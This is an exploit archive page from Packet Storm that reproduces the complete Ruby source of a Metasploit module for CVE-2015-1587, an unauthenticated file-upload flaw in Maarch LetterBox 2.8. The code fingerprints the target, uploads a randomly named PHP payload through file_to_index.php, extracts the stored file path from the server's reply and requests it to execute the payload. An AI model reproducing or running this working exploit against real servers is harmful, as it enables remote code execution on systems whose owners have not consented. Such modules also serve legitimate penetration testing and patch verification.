exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Maarch LetterBox 2.8 Unrestricted File Upload

Maarch LetterBox 2.8 Unrestricted File Upload
Posted Feb 12, 2015
Authored by Rob Carr | Site metasploit.com

This Metasploit module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of session and file validation in the file_to_index.php script. It allows unauthenticated users to upload files of any type and subsequently execute PHP scripts in the context of the web server.

tags | exploit, web, php, file upload
advisories | CVE-2015-1587
SHA-256 | cd2b7f42e25ec82d510aeb7d6752ea48283d55ef832886d99f9df019f40f307e

Maarch LetterBox 2.8 Unrestricted File Upload

Change Mirror Download
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'Maarch LetterBox 2.8 Unrestricted File Upload',
'Description' => %q{
This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of
session and file validation in the file_to_index.php script. It allows unauthenticated
users to upload files of any type and subsequently execute PHP scripts in the context of
the web server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Rob Carr <rob[at]rastating.com>'
],
'References' =>
[
['CVE', '2015-1587']
],
'DisclosureDate' => 'Feb 11 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Maarch LetterBox 2.8', {}]],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/'])
], self.class)
end

def letterbox_login_url
normalize_uri(target_uri.path, 'login.php')
end

def letterbox_upload_url
normalize_uri(target_uri.path, 'file_to_index.php')
end

def check
res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url)
if res.nil? || res.code != 200
return Msf::Exploit::CheckCode::Unknown
elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"')
return Msf::Exploit::CheckCode::Appears
end

Msf::Exploit::CheckCode::Safe
end

def generate_mime_message(payload, name)
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"")
data
end

def exploit
print_status("#{peer} - Preparing payload...")
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
data = generate_mime_message(payload, payload_name)

print_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'method' => 'POST',
'uri' => letterbox_upload_url,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200

print_status("#{peer} - Parsing server response...")
captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil?
payload_url = normalize_uri(target_uri.path, captures[0])
print_good("#{peer} - Response parsed successfully")

print_status("#{peer} - Executing the payload at #{payload_url}")
register_files_for_cleanup(File.basename(URI.parse(payload_url).path))
send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
end
end
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    31 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close